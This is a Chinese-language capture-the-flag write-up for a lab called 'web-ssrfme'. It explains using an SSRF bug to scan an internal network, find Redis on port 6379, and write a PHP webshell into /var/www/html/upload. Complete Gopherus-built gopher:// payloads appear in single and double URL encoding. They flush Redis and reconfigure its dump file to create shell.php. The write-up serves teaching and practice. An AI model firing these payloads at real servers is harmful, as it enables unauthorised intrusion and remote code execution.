目录
环境搭建
使用docker拉取上面文件
root@ubuntu:~/web-ssrfme/web-ssrfme# docker-compose up -d
代码分析
首先进入题目环境,查看docker发现在8091端口下,进入后出现这么个页面
查看代码发现file和dict都被过滤了
我们再接着看代码发现如果存在info这个参数就会打印phpinfo,打印这个东西就可能会出现一些对我们有用的信息我们看一下这里有IP和中间件
漏洞点寻找
我们尝试用http访问以下phpinfo的IP,他将页面打印了两次,这里说明http协议可以使用,我们可以用http协议来探测端口
然后我们用bp探测,发现没啥反应这个服务器好像没有啥子特别的服务,好像就开放了一个80端口
我们接着尝试,我们现在发现服务器的IP是172.21.0.3这个端口,这是在内网当中,在内网当中服务器可能会很多,并且服务器IP可能是连续的,我们可以尝试一下有没有别的服务器供我们入侵
在172.20.0.1有这么个显示
在172.20.0.2下有这么个显示
然后接着探测有什么服务,我们发现172.20.0.2的6379好像开着
渗透
我们可以传webshell到服务器上,但是这个需要我们知道物理路径,这道题目物理路径我们是不知道,需要我们猜测,我们尝试一些默认路径/var/www/html、 /usr/shart/nginx/html,发现都不行。现在我们怀疑是不是权限不够的原因,权限不够那咋个办,我们再找一下在html下有没有别的文件权限是够的。我们找个字典用bp扫描一下,发现有个upload
尝试在这个路径下 /var/www/html/upload使用gopher协议进行webshell写入
使用工具构造payload
我们这里使用gopherus这个工具来构造我们的payload
我这里写入的是phpinfo,当然也可以写一句话木马,注意IP地址要修改
gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
下面我们来看一下上面的注入语句解码后是什么东西,如下图是redis的一些写入语句
然后我们在注入的时候还需要进行一次url编码,因为在源代码中解了两次码
gopher%3a%2f%2f172.20.0.2%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252425%250D%250A%250A%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%2520%253F%253E%2f%2f%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2fvar%2fwww%2fhtml%2fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
我们打开环境看一下文件是否写进去了,确实写进来了,而且后面有一堆乱码,所以我们在写入注入语句的时候后面加了注释预防干扰
结果
然后将命令换一下就可以继续渗透了